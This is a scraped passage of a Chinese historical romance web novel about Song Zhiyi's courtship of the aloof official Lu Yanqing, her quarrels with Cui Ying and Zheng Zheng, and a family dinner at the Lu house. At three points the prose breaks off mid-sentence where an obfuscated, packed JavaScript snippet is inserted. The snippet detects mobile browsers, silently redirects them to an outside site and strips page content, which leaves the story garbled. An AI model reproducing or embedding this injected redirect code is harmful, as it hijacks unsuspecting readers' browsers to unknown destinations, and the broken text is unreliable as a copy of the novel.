她经常黏着陆晏清叽叽喳喳不假，可他对她是何种态度，她心里有数——他能偶尔回应她的话已然是给面子，安会出面掺和那事？ 芒岁相当确定：“我也是惊讶，但金香的的确确是这么说的。就是小陆大人向何嬷嬷提议，说姑娘因为上课而受了伤，必然十分认真刻苦，不妨宽恕一次，继续留姑娘学习，何嬷嬷才不计较了。” 其实，当日扔下宋知意走了后，陆晏清有那么一点懊悔的意味——懊悔话是否过于重了。在此种心境的影响下，他过问春来那场闹剧的前因后果，得知确实是郑筝轻蔑在先；自己果然不分青红皂白，冤枉了她。他开始有些愧疚，便去了众人面前，替她挽留继续在陆家学习的机会。 过后春来不解，表示他就顺应自然，任她离了陆家，岂不是眼不见心不烦，何必出那个头。他泰然自若道：“一码归一码。那件事，错不全在她，自然没有道理都由她承担。” 当他为她说话之前，崔璎快一步，挽着郑筝在大家眼下哭得梨花带雨，多番表示不想半途而废，并保证下不为例，以后定然安分守己。非和一个小姑娘较真，不是何嬷嬷的做派，遂以“知错能改，善莫大焉”的心态接纳了郑筝。 陆晏清想，纷争由郑筝挑起，她且能留下，那么宋知意又有何不可？ 至于昨日宋知意执意问他信不信她那会，他始终一副事不关己的样子的原因，一方面是觉得事情已经解决，没必要纠结下去；另一方面是怕一旦理了她，她又不长记性，时时磨着自己——甚为聒噪，索性一冷到底，不曾想最后还是在她毫不疲软的缠闹中，败下阵来。 宋知意沉浸于猝不及防的欢愉中，久久不能释然，而芒岁接下来的话，犹如一盆冰水，兜头浇下来，迫使她六神归位：“可惜那个郑二姑娘也留了下来。怎么不把她弄走，还容她胡说八道、胡作非为吗？真是猜不透陆家人脑袋里装的什么，上赶着寻不痛快。” 宋知意面色骤然变得黑沉沉的：“不消思忖我也省得，郑筝能平平和和地继续待在陆家，崔璎一定为她忙前忙后，出了不少力。陆家人疼崔璎疼得和什么东海明珠一样，她柔柔弱弱一张口，他们保准顺她应她。” 芒岁少不得一通安慰。 “罢了。谅郑筝也不敢再口出狂言了，一块学就一块学吧。”宋知意看得开，迅速把自己哄好，起床梳头洗脸。 宋平今儿休沐，宋知意心里松快，主动去了前厅和他吃早饭，喜得他笑逐颜开，殷勤不已，又是给盛汤，又是给舀饭的。 心安理得享受着亲爹的照料之余，宋知意欣然通知：“陆大嫂嫂给我带信儿了，要我接着去陆家。我打算明一早就过去。” 宋平略微斟酌，笑道：“那是好事。” 宋知意反问：“你不问我郑筝是不是也回去吗？” “别人如何，我不在乎。”宋平一本正经道，“我只嘱咐你，专心学自己的，那些风言风语，左耳朵进右耳朵出就是了，千万不要再为我争执什么。保护好自己，才是要紧的。” 宋知意仍存着不服，皱眉道：“爹，你好赖是工部郎中，在工部排得上号的，干嘛老是想着息事宁人？爹，你活得有点底气好不好？” 宋平一肚子的辛酸，她一个娇小姐哪里晓得，而且他也不舍得跟她提——她过平顺日子就够了，外面的风风雨雨，他这个当爹的庇护得起。 宋平又摆出笑眯眯的样儿，转移话题：“来，快尝尝这包子，是你最爱吃的鸡蛋韭菜馅儿的。” 见说不通，宋知意放弃了。掰开包子送入口，果然香。 当天下午，文进匆忙到访，说是薛景珩现在金运坊等她看一出好戏，专门叫文进驾车送她过去。她霎时了然：指定是郑辉那事。 至金运坊外，已然站了一圈的人，人群里传出怒骂—— 一个中年男人扯着雄浑的声音道：“你这畜生，都干了些什么事！” 另一个年轻的颤抖的男声接口：“爹、爹……求你让我回家再盘问吧，这太丢人了……” 中年男人暴喝：“到现在了你知道丢人现眼了？晚了！” 这会宋知意站到远处典当行的台阶上，临高望远，见那中年男人管小厮手里夺来一根指头粗细的皮鞭子，照着抱头蹲在地上的郑辉一顿抽打，边抽边骂：“你个败家玩意儿！我今日不打死你，我对不起祠堂里列祖列宗的牌位！” 郑辉抱头鼠窜，却被他爹挥舞的鞭子精准逮住。他爹恼怒不已，下了狠手，直接一鞭子把人抽得趔趄在地。 郑辉躺在地上嗷嗷叫唤。郑父气得手发颤，眼睛发黑，握不稳鞭子，踉跄两步，幸而小厮及时扶住。 郑父定了定，指着郑辉说：“你，给我起来，滚回去。从今天起，禁止踏出家门半步，若是让我发现你不老实……我便是断子绝孙，也要打死你！” 立有小厮去搀扶郑辉。 “不准帮他，叫这混账东西自己爬起来走回去！”郑父厉声喝止。之后甩开长鞭，冷脸命令诸随从跟自己回府，仅剩郑辉屈腿窝在原地哀嚎。 郑父一走，围观者觉得没趣，自觉散了。 那头宋知意观看得目瞪口呆，既感慨郑父竟然舍得对郑辉下此狠手，也疑惑薛景珩在这之间扮演了什么角色。 漫漫思量间，肩膀给人拍了一下，一回头，恰恰是笑得玩世不恭的薛景珩。他直白发问：“这场面，够不够精彩？够不够解气？” 宋知意点头称：“是够震撼的。哎？话说两千两固然不是个小数目，可以郑家的情况，不至于闹到当街拿鞭子抽人的份上吧……你究竟怎么挑拨的？” 薛景珩但笑，并不回复，转过脸交代文进去给惨叫痛哭的郑辉送副拐杖，助其支撑伤痕累累的身躯，顺利走回郑家。 文进依言，从马车顶上取下拐杖，近郑辉跟前，施以援手。 借着文进帮扶，郑辉勉强站起来，脸皮因浑身的疼痛而扭曲狰狞。 “我可没挑拨，单就是派人拿着欠条去了郑家，结果你猜怎么着？”薛景珩自然地把胳膊肘放上她的肩，满面怡然。 “我要能猜着，还问你？”她好生嫌弃，侧迈开一步，躲开他勾肩搭背的动作。 薛景珩吃吃一笑，两手背到身后：“结果，郑家门前已经堵了多多少少的债主了。那小子，足足打了上万两的饥荒，光利钱就够压死他了。他爹能不动气么？不往死里打他，我都看不过眼。” 宋知意简直匪夷所思：“他是不分昼夜、不吃不喝地赌钱，不然也背不上这么大的债吧！” 薛景珩：“玩到那等程度，没救了。” 宋知意心生警觉，扭头直视他云淡风轻的侧脸：“我说你，你好好记着他今日的下场，引以为戒，趁早改了你那贪玩寻欢的臭毛病。万一哪天你重蹈他的覆辙，被你母亲公然痛揍，我可不管你。” 薛景珩笑得更深了：“我是哪种人，怎么能和他相提并论？你放心好了，我绝对不会和你分道扬镳的。” 这会儿，郑辉按着拐，一瘸一拐过来，狠狠瞪向薛景珩，咬牙切齿道：“不就是几千银子，你至于要账要到我家门口？姓薛的，我记着今天的耻辱，你给我等着！” 薛景珩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533298|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻浮一笑：“哦，欢迎你与我算账，我随时奉陪。” 郑辉疼得紧，放狠话已属强行为之，再进一步泄恨，他顾不上了，架着拐，蜗牛般往家的方向挪动开来。 宋知意挖苦道：“看看，得罪了他。你说话算话，一人顶着，别殃及我啊。” 薛景珩自信勾唇：“我一贯言而有信。” 第二天早晨，宋知意特意早起一个时辰，精精致致装扮过行头后，抵达陆家外，瞄见西角门尚关闭，松了口气，而后要芒岁掏出出发前装好的金疮药——上次她手烫着，陆晏清给的那瓶，她只涂了几回，剩了大半瓶。 芒岁道：“这药膏子本来出自小陆大人之手，小陆大人手头上多得是，姑娘既送，可以再买一些，拿这个出来，感觉没什么必要……” “我当然知道多此一举，谁让我身边没有比这个更好的了……哦，有倒是有，薛云驰那天给的。可是我总不能把薛云驰的转送给陆二哥哥吧，一旦那家伙冷不丁记起来问我去向，又该甩我脸子了。”宋知意摩挲着药瓶，瓷白的瓶身沾染了她的温度。 芒岁争不过她，干脆闭嘴。一挑眼神，发现西角门渐渐开了，陆晏清款款步出，官袍翩翩，容色清冷。“姑娘，小陆大人出来了。” 宋知意抖擞精神，迎上前，不急于赠送药膏，先问候一番：“陆二哥哥，你穿成这模样，是要去上朝了吗？” 芒岁暗戳戳无语。官服都上身了，不上朝还能干嘛……姑娘真是的，平常独一份的聪明伶俐，一碰上小陆大人，那脑筋宛如锈死了。 陆晏清倒没嫌她明知故问，点一点头。 “那你手上的伤，不要紧吗？”宋知意朝他缠着纱布的右手掌注目。 “无甚大碍。” “那也不能疏忽大意了。”她适时捧高药瓶，慢声细语说明用途。 随着药瓶的抬高，陆晏清隐隐约约所见她带着划痕的手背，不觉眉心一紧：“宋姑娘的伤，应该比我的严重。宋姑娘自己留着使唤吧。” 反应过来他在关心自己，宋知意心里登时乐开了花儿，热风吹过抓痕累累的手背，也不觉着痛了，尽管笑嘻嘻道：“陆二哥哥，我没事的。”说着上下左右挥动几下手臂，“你看，我一点儿都不疼了。” 陆晏清颇为无奈，颔首不语，眼光仍然于她身上停留，仿佛在等待她有无其他话说。 宋知意顿悟，顺杆往上爬，试探道：“陆二哥哥可以告诉我，是谁划破你的手的吗？” 陆晏清：“是公事，不便相告。” 她学着崔璎的懂事，点点头不多问。 俯下的视野中，小姑娘微微垂首，纤长浓密的睫毛扑闪着。脑子里忽然冒出一个疑问，陆晏清也顺势而为，问出口：“宋姑娘来得如此早，就是为了给我送药吗？” 她豁然抬头，眸子里犹如缀着点点星辰，闪闪发光：“是啊！前天晚上我就想给你来着，可惜我没揣着。好在今天带上了。陆二哥哥，念在我少睡一个时辰，专程送来的份上，你就收下呗？” 她每天睡到中午才起的事迹，大家全知道，陆晏清自然不例外。然一向好吃懒做的她，居然因为担心他的伤势而牺牲自己，攥着一瓶他要多少有多少的药，专门奔来，静悄悄地在外头候他出来……逢人对答如流的他，此刻，如鲠在喉。 春来算计着时辰，操心话越说越长，会误了上朝，硬着头皮提醒：“公子，不早了，该动身了……” 宋知意率先急了，忘了淑女那一套，索性将药瓶塞去他腰间悬挂的荷包内，继而识相地让开路，含笑挥手：“陆二哥哥慢走。” 陆晏清嗅觉异于常人地灵敏，他嗅到一缕清香，源自于腰侧的荷包，应当是茉莉花香。他上朝办公时，从不熏香，亦不佩戴香囊——是她适才擅自而短暂的碰触，将她衣服上的熏香残留在了他身上。 春来牵着马过来，道：“公子，请上马吧。” 移走流连于那荷包上的目光，同时收敛思绪，陆晏清跃马而去。 8. 又聚一堂 西院正厅里，大家跪姿端坐。何嬷嬷尚未到场，众人便窃声关怀郑筝的身体，默契地将宋知意冷在一旁。 郑筝摸了摸头顶秃的那块，现在是看不出来，因为早上梳头的时候刻意把头发拨到这，遮盖上了。即便有办法遮掩，可每日早起对镜，一眼目睹那丑陋的头皮时，郑筝就怒火中烧，恨不得立即把罪魁祸首给撕了。 “多谢你们上心，我能吃能喝，挺好的。”郑筝斜剜了眼宋知意，看见她正注视着自己的脑袋，微微发笑，显然是死性不改，仍然在挑衅。碍于何嬷嬷的威严，怕再生事端被彻底赶出去，郑筝憋着气，没发作，只是阴阳怪气：“有些人呐，礼义廉耻，样样没有，偏偏引以为傲呢。我真是替她害臊。” 宋知意又不是傻子，当即听出她在暗暗刻薄自己，嗤的一笑：“可不是嘛，有些人天生的无羞耻之心。这不，昨儿下午我出去一趟，巧合撞见金运坊外又打又骂的，定睛一看，居然是郑二姑娘的哥哥，挨郑侍郎的鞭子呢。那一下下的，皮开肉绽的，真是叫我大开眼界了。” 闻言，郑筝面色顿时如乌云压境，十足难看。 郑辉欠债挨打那事，早就传得满城风雨了，在座的人全听说了。涉及到郑筝的脸面，众人面面相觑，故作无知，噤若寒蝉。 “宋知意，你最好给我闭嘴，不然我饶不了你！”郑筝怒目圆睁，恶狠狠恐吓。 宋知意闲闲道：“你饶不了我，我可没意思和你拖泥带水。你要觉得我说的实话下了你的脸，那我劝你，今后别抛头露面了，省得大街上人来人往、说三道四的，你承受不住。” 郑筝欲回嘴，何嬷嬷进来了，当即收起凶恶的嘴脸，低眉顺眼听候教诲。 既往不咎，何嬷嬷并未特别训宋、郑，只按部就班教授闺阁本领。 一日下来，宋知意满身疲惫。正打算拾掇东西回家，却逢金香找来，笑吟吟道：“宋姑娘，我们少夫人说，姑娘如若没别的安排，不妨留下吃晚饭吧。” 宋知意认真思量片刻，摇摇头说：“要不改天吧，我想早点回家，跟我爹报备一下。”报备一下今日她没闯祸，给他喂个定心丸。 金香悄悄地说：“大少爷从书院下来，进城办事，今晚住家里，要在家用膳。老爷夫人心疼大少爷大少夫人聚少离多，特交代大少爷只陪大少夫人用饭就是。大少夫人呢，考虑到家里两位爷也很久没见了，便趁这个机会跟二少爷提了，今晚上一块在东院组个局，热闹热闹。”金香眨眨眼，“宋姑娘，你再想想参不参加呢？” 宋知意算听明白了，立刻改了主意，一口答应，就随金香迤逦去往周氏住的东院。 郑筝慢慢吞吞收拾物品，还没走；崔璎则早早整理完毕，瞧见金香拉着宋知意说私房话，故意不走。 郑筝走到崔璎身边，愤然道：“那个宋知意，鬼鬼祟祟的，保管又琢磨什么坏事呢！” 周氏攒局拉拢陆晏清宋知意，崔璎揣测到八九成，胸中堵塞难忍。亏自己唤周氏一声大表嫂，她屡屡胳膊肘子往外拐，冷落自己人，对一个外人体贴入微的。 “明日还上课呢，郑姐姐消消气，早点回家休息吧。”崔璎一如既往地温柔开导，实际上也不耽误内心盘算待会找到周氏，主动提提过会那个饭局，她也想参与。周氏毕竟担着她大表嫂的名头，不大可能拒绝。 面对善解人意的崔璎，郑筝心下开朗许多，握了握她的手，由衷道：“崔妹妹总是善于为人着想，只是你太过好性儿，才让那宋知意捏着你，今天翻一个白眼，明天刺儿你一下。好妹妹，你也别愁别怕，有我在一日，我就罩着你，决不叫宋知意为所欲为，欺负了你。” 崔璎大受感动，楚楚可怜，有些哽咽道：“谢谢姐姐……” 郑筝益加心软，反客为主宽慰她好半晌，才恋恋不舍道别了。 东院正屋内，周氏挽起宋知意负伤的左手，以指甲抠了黄豆大小的药膏子，往疮口处轻轻涂抹开来，一面絮叨：“小姑娘都爱美，你现在马虎，在搽药上偷懒，万一没恢复好，留下疤痕，将来有你后悔的时候。” 周氏手法极其轻柔，宋知意享受着这份安逸，俏皮道：“有嫂嫂你这么个贤惠人时时接济着我，我必然不会留疤咯。” 引得周氏喜笑颜开：“你这小丫头，嘴真甜。”好端端的，突然叹了口气，“可凭你这张裹了蜜的小嘴，怎么偏偏和我们二弟说不上几句话呢？也真是怪了。” 宋知意将身子向她凑凑，炫耀般道：“嫂嫂啊，你这话可不全对。今天一大早，我遇上陆二哥哥了，我给他献药，他却在意我的伤，嘱咐我多多爱护自己呢。” 娇气的声音自半开的窗牖荡出，拂过崔璎耳畔，她猛地站住，心里默念：表兄竟然关心起她来了？ 接连飞出周氏的笑音：“当真二弟积极地挂念起你来，那是破天荒的喜讯了。照这样发展下去，你们两个修成正果，指日可待。” “八字还没一撇呢，嫂嫂休得乱说……”宋知意的嗓音娇娇懒懒，仿若太阳底下因春困酣睡的一只猫儿，被主人挠醒后，细着嗓子哼哼唧唧，看似生气，实则在朝人撒娇。 崔璎真想掉头走开，然她隐忍克制着，款款走至门口，向里面请示：“不知大表嫂方不方便，我可以进去吗？” 周氏吹一吹宋知意敷着药的手背，温声叮嘱她此后几天文静些，切勿触着，以免伤势反反复复。宋知意一一答应。 这头完事，周氏不忘使了个眼色给她。她心领神会，回笑道：“我吃茶，什么都不说。” 周氏放下顾虑，顾起那头，坐正身姿，说：“方便，妹妹进来吧。” 崔璎掀珠帘进入，面如春花，亲亲热热跟二人问好。 果然，宋知意言出必行，只管品茶，不曾多看一下，多说一个字。崔璎习以为常，一双水杏眼始终关注周氏。周氏忙请她坐了。 “妹妹这个时辰过来，是有什么事吗？”周氏笑问。 崔璎默然，咬着下嘴唇，显得很是为难。 周氏心念一动，大致有数。此时侍女奉茶来，周氏亲手接下，推送至她身侧，笑道：“你我一家人，何必客气？有什么话直说就是，如此，倒令我不安。” 周氏讲得诚恳，崔璎也不好意思转弯抹角，羞涩一笑：“大表兄难得回家一趟，我这两天做了两个扇坠子，想赠给大表兄，凑合着使……” 周氏明晰了，眼风扫过宋知意，看她撇着嘴，无声一笑，旋即续起崔璎的话头：“我原来就想请妹妹的，谁知给忘了。真是我不好，劳得你跑一遭问这事。” 崔璎连忙给自己开脱，绝无怪罪周氏的用意。周氏也笑脸应付她。 一时，金香进门禀报：“大少奶奶，大少爷进家门了，这会先去老爷夫人跟前请安了，等一阵就来。” 周氏喜上眉梢，站起来问：“夫君爱吃茶，备好了没？哦，还有，他一路奔波，顾不上吃东西，肯定饥肠辘辘……快，去小厨房端些他对胃口的点心过来，先给他垫补垫补。” 金香也随着高兴，喜滋滋领了差事去办。 陆晏时同周氏两口子，是远近闻名地恩爱夫妻。盼星星盼月亮似的盼回陆晏时来，周氏激动难耐，在屋里走来走去，巡视检查着屋里的陈设，一会儿动一动花瓶，一会儿挪一挪香炉，将屋里坐的两个人——宋知意、崔璎，全然抛诸脑后。 宋知意从不拿自己当外人，周氏不招待她，她就自娱自乐：饮尽杯中茶，放好茶杯，出门溜达。恰好周氏的小女儿团团在廊下一角蹲着数蚂蚁，她便凑上去，和团团一块数，以此消遣。 崔璎自己呆下去也没趣，与她前后脚出来，想着离晚饭还有好一阵，不若回住处洗把脸，换身衣裳，再带上编好的扇坠子，清清爽爽地在众人面前露脸。 想妥了，就离了东院，行至连通正院及东院的甬道时，陆家两兄弟肩并肩缓步走来。崔璎掖掖鬓发，弯起无可挑剔的笑弧迎上去，袅袅婷婷施了礼，道：“大表兄，二表兄。” 陆晏时大半年未归家，不禁恍惚，是陆晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533299|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清淡声介绍：“大哥，这是崔表妹。” 陆晏时倏然记起崔璎这个人，朗笑道：“原来是崔妹妹。几个月没见，出落得不敢认了。” 崔璎谦虚一笑：“大嫂嫂还等着两位哥哥，我就不耽搁哥哥们了。”言尽，福一福身，让开前路。 陆晏时归心似箭，颔首走过她眼前。 行尽甬道，穿过月洞门，视线骤然开阔，陆晏时感慨万千：“你嫂子自从跟了我，没享过两天福，光操持这一大家子了。唉……我真是愧对于她！” 陆晏清没应声。 他打小就沉默寡言、稳重可靠，陆晏时习惯了，拍拍他的肩膀，托付道：“安之，你如今是大人了，在外面顶天立地，在家里也是分量不轻。你嫂子她不容易，你多帮衬着点她。”安之乃陆晏清的字。 陆晏清郑重道：“这是自然，请大哥放心。” 陆晏时点头微笑，忽地口风一变：“那宋家姑娘，仍然常常来家里做客吗？” 陆晏清阖目，低微地叹出一口气：“嗯，常来，最近还和崔表妹在西院开设的女学堂里上课学习。” 陆晏时玩味道：“那安之你对此有何看法？” “挺好的。”陆晏清表态意外地痛快，“她有事干，就不会总盯着我看了。” “总盯着你看？”陆晏时兴致勃勃道，“话又说回来了，你若是不关注人家，怎么知道人家总盯着你看呢？” 陆晏清眉心一紧：“是她表现得过分扎眼，让我无视不得，我并没有特别注意她。” 陆晏时伸出食指，对着他摇了摇，一副“我是过来人，经验丰富，你瞒不了我”的神情：“以你寡淡如水的性子，不惜费口舌与我解释你并没留意人家这事，那恰恰证明了，你的心思往宋家小妹身上渐渐靠拢了。” 陆晏清驻足不前，丢给他一个无奈的眼色：“我说了，我对宋姑娘，清清白白。请大哥莫要妄言了。” 他这个兄弟，哪哪都出色，独独为人忒正经，经不起一丁点玩笑话。陆晏时笑呵呵安抚：“好好好，怪我妄加揣测。你和宋家姑娘是天底下最清白的。” 若说陆晏清是不苟言笑的老古板，那陆晏时就是另一个极端，玩笑不离口，插科打诨是家常便饭。 陆晏清省下较真的气力，默然踏上抄手游廊。 往来下人纷纷停站见礼，陆晏时亲切示意各人免礼自便。 转个弯，两个蹲着的背影，一大一小，赫然显现。 陆晏时定睛一瞅，恍然喊出声：“团团？” 那两个人影，齐齐回过身。宋知意牵着团团站起来，带她靠近兄弟两个，正对着陆晏时，乍然笑开颜：“陆大哥哥，好久不见啦！” 底下的团团仰头打量陆晏时半晌，总算认得人，一头扑到他身边，张开臂膀抱住他的腿，咧开嘴，露出一排乳牙，笑出两个酒窝：“爹爹！我好想你啊！” 揉一揉团团扎着小辫的脑袋，陆晏时一个弯腰，搂主团团的双腿，举起来，抱在怀里，轻声细语道：“爹爹也想你。” 同时不冷落宋知意，如沐春风道：“许久不见，宋妹妹似乎是长高了。”说着用眼神在陆晏清身上打转，“我记得那会宋妹妹是差一点到你胸口，这会已经和你胸口齐平了。” 无意识地，陆晏清看向对面的宋知意，眼光从对方的头顶朝自己平移，发现那高度果真在自己胸口的地方。醒悟过来在做什么后，他自觉荒谬，镇定如常地撂下句“我先进屋瞧瞧有什么能帮得上忙的”以后，举步走开。 见宋知意目光追随着陆晏清的背影，陆晏时不觉一笑，惹得臂弯里的团团好奇问道：“爹爹，你在笑什么呢？” “爹爹在笑，很快就能和你娘亲你哥哥见上面了。”陆晏时不失温柔道，“爹爹高兴。” 团团一手指着前面，一手拍拍他的肩膀：“那咱们赶快进屋，哥哥和娘亲早就等不及了。” “好。”于是，陆晏时掐稳女儿，同宋知意有说有笑，穿越长廊，扬长远去。 9. 春日佳酿 正屋里，陆晏时与周氏，执手相看泪眼，一儿一女围在身畔，垂手乖巧站立。 周氏抽取手帕，点点眼周泪花，破涕为笑道：“大好的日子，该多多欢笑，哭哭啼啼的，扫兴。好了，花厅的宴席现成了，咱们过去吧，想必那几个等不耐烦了。” 陆晏时低头对一双儿女说：“你们跟金香姐姐先去席上坐着，我和你们娘亲随后就到。” 儿子满满已满九岁，通情达理，小大人似的点点头，向父母标标准准作个揖，拉着团团退出房间。 见这光景，陆晏时哭笑不得：“公然又是一个陆二公子。” 周氏顺手挽上他的胳膊，笑吟吟道：“你常年不在家，满满就跟着他叔叔念书，自然耳濡目染，得其真传了。” 陆晏时找着她的手，拍拍手背，侧目含笑：“能像二弟的做派，我求之不得呢。” 周氏伸出空着的手，举起食指戳他脑门：“怎么不是？二弟年纪几乎小你一轮，为人可比你靠谱多了。将将三十的人了，天天嬉皮笑脸，没个体统，亏还担着一个山长的职位呢，净给你的学生们提供谈资了。” 陆晏时一把抓住她的素手，包在掌心，送往唇际，覆下轻轻一吻，眼泛涟漪：“你嫌我老了？” “我说了那些话，何尝提过一个‘老’字？”周氏觉得好笑。 陆晏时攥着手不放，另一条胳膊反客为主，穿过她胁下，手心直摁在她腰窝，猛地朝自己怀中一带。两个人呼吸缠绕，紧紧对视。“嫌也没关系，横竖今晚自见分晓。” 固然老夫老妻，青天白日提这种事，周氏仍然臊红了脸，啐道：“外面人来人往，你也把这种下三滥的挂在嘴边……老没正经的！” 陆晏时一面低笑，一面凑去她的侧颈，朝着那白玉似的肌肤亲了一口，同时在她腰上捏了把。“嗯，我究竟老不老，我等你半夜自己说。” 周氏歪头离他远些，嗔色才起，便被推着退至博古架前。心慌未定，又坠入深吻之中。 一墙之隔，宋知意掩嘴掉头跑开，一直看见崔璎提着裙边，袅袅上了长廊，方知这一跑，几乎出了东院，忙住脚。 崔璎讨厌她，却时时刻刻要做足表面功夫，笑口一开，主动询问她：“宋姐姐行色匆忙，可是出了什么急事？倘或有我能帮得上忙的，宋姐姐千万别与我客气，我定然尽全力相助。” 宋知意照旧不领情，语气却因适才无意窥见的亲热画面而充斥着生硬感：“我没有急事，自是无需你全力相助。” 崔璎维持笑容，十分体面道：“无事便好。我准备去花厅，宋姐姐要一起吗？” “不必”二字即将脱口，但思及陆晏清眼下在花厅，假使自己拒绝，由崔璎一人去，无疑是白白给他们表兄妹制造独处机会，那是断乎不成的。掂量清楚，宋知意堪堪咽下回绝之辞，上下嘴皮一碰：“好啊，那就一道吧。” 一路无话。 陆晏清正襟危坐于厅内的交椅上，手托一本书，看得认真。 “表兄。”崔璎径直向他侧面，柔顺似水道。 宋知意随后过来，不甘落后，直直立在他正前面，也柔声细语唤：“陆二哥哥。” 崔璎暗中不悦。她这是在学自己的口吻吗？嘁，东施效颦，学人精。 “宋姑娘。”陆晏清眉目低垂，加上夜幕四合，厅里灯影飘摇，使人看不太清他的神色。 听他不理崔璎，而理了自己，宋知意颇有些得意，瞥一瞥崔璎，俏然一笑：“我在呢，陆二哥哥。怎么了吗？” 斑驳光影下，他徐徐撩起眼皮，面色与往常无什么两样：“宋姑娘请找位子坐吧。” 宋知意笑嘻嘻道：“不用不用，我就站着好了，不累的。” 目睹俩人谈笑自如，崔璎从身到心不自在，干脆离了他俩——眼不见心不烦，悄悄地寻位置坐定。 身边少了个人，陆晏清并不在乎，他现下只注重眼前这个巧笑嫣然的女子。她似乎会错了意，以为他刚刚是在关切她疲累与否。他沉着须臾，出声道：“我的意思是，你在这站着，挡住了光线，我没法看书了。” 肉眼可见地，她的笑意僵在了脸上。“啊……？” 陆晏清耐性充足，道：“我想心无旁骛地看会书。所以，宋姑娘可否让一下？” 于他慢条斯理的语速下，宋知意暴红了脸，满脸尴尬，让开来，一边解释：“我不是有意……扰着你看书的。” “我知道。”许是瞧出她的局促不安，他捧书淡声道，却并未再给她眼色。 宋知意就势挪去了他右手边的椅子上，反复撩拨着腰带上的香囊，很是心灰意懒。 冷眼旁观全程，崔璎暗笑两声：表兄他不理睬我，对宋知意那个蠢笨的也没好脸色。也罢，都是一般的待遇，那我还闷闷矫情什么呢。 一时间，各怀心事。厅中格外静谧。 适才从正屋里出来，团团扯着哥哥的袖子央求同她一块上后院踢毽子去。满满宠爱妹妹，一口应下。 兄妹俩相约去往后院，踢了几个回合的毽子作乐，踢出一身的汗，随从丫鬟们便又折回住处，给他们速速擦洗了身体，换上干净的衣裳，姗姗来至花厅。 相较于崔璎这个表姨妈，团团更黏着宋知意。蹦蹦跳跳到她身前，抱着她胳膊摇撼卖乖：“宋姐姐，你上次给我梳的那个发型好漂亮，你再替我梳一次，好不好嘛……” 宋知意正欲启齿回应，满满走上来，板着脸教育：“你想梳什么头，自有院里的姐姐们帮，没有理由劳烦客人。另外，现处花厅，设着宴席，可不是能梳头打扮的地儿。” 满满小虽小，但团团偏偏最怕他。当下扁着嘴巴，慢吞吞松开宋知意，退回满满身旁，遵照他的指示逐一跟屋里三个大人问礼。 陆晏清为当中辈分最高的，理应带领大家依次入座。于是他合起书本，顺手揣于广袖内，起身去了饭桌东面第一个位子端坐。 满满比手请宋知意也去就座。她侧顾那雕漆张大方桌，瞄准陆晏清的方向缓步前进。崔璎这时候也起身，转移到他身边的座位，极其自然地坐定。反观他，容色如常，不动如山，俨然无所谓是谁挨着他坐。 他无所谓，可她有所谓。 迎着崔璎弱不胜衣的影子，宋知意直行，于她半步外站定，居高睥睨着她，有商有量道：“我想坐这里，你可以起开去别处坐吗？” 词儿用的确实礼貌客气，然语气神态截然相反——哪里是在商量，分明是命令。崔璎不由笑了：“宋姐姐脸色不对，可是我哪儿做得不好，惹姐姐不开心了吗？” 宋知意不吃她扮可怜从而以退为进这套，随性道：“没有啊，我只是想坐这里，便和你商量而已。你为何会笃定我生你的气了呢？” 她直白磊落的反问，真把崔璎问住了，半晌无言以对。 在这场交锋中占了上风，宋知意正值春风得意时，才不退而求其次，偏生伫立原地待她答复。 局面僵持不下，眼花心烦的人恰恰是陆晏清。他弄不明白，区区一个坐处，如何值当她们两个明争暗抢的。 他只字未吐，起来绕到对面，款然落座。 僵持的二人俱为之动容。宋知意这次抢占先机，大步至他身侧，搬开凳子，安稳而坐，大大方方观察崔璎的种种细微反应。 崔璎要脸，断然做不到她那般厚颜痴缠的地步。遂埋下不甘不平，微笑示人。 既然东边有了宋、陆，那团团满满就在崔璎一列归坐。 迟迟等不来父母，团团心存古怪，扭头问她哥哥：“哥哥，爹爹不是说，很快就跟娘亲过来吗？这都好久了，怎的没消息呢？” 满满道：“再等等就是了。” 团团“哦”了声，将两条胳膊放桌沿，小臂直立，双手托腮，转眼向门外，期盼快些父母来临，毕竟她都饿得咽唾沫了。 少顷，陆晏时终于携周氏双双到场。夫妻俩直奔主位坐下。周氏歉疚一笑：“抱歉，让大家久等了。” 陆晏清道“无妨”。崔璎随声附和。 侍女分别摆放碗筷时，团团终究藏不住一肚子好奇，问：“爹爹，娘亲，你们晚了这么久，做什么了？” 不及夫妻俩怎样，宋知意仓惶低下头，极力掩饰面颊上可疑的红晕。而坏就坏在，她耳朵也通红，又无头发遮掩，完完全全暴露在陆晏清的一瞥余光里。 他情不自禁纳闷：刚才还为个座位咄咄逼人，一转眼躲躲闪闪的。她是心虚吗？倘若是，那她在因何心虚？ 面对孩子天真的问题，周氏慌了心神，忙暗扯丈夫的衣袖求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533300|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 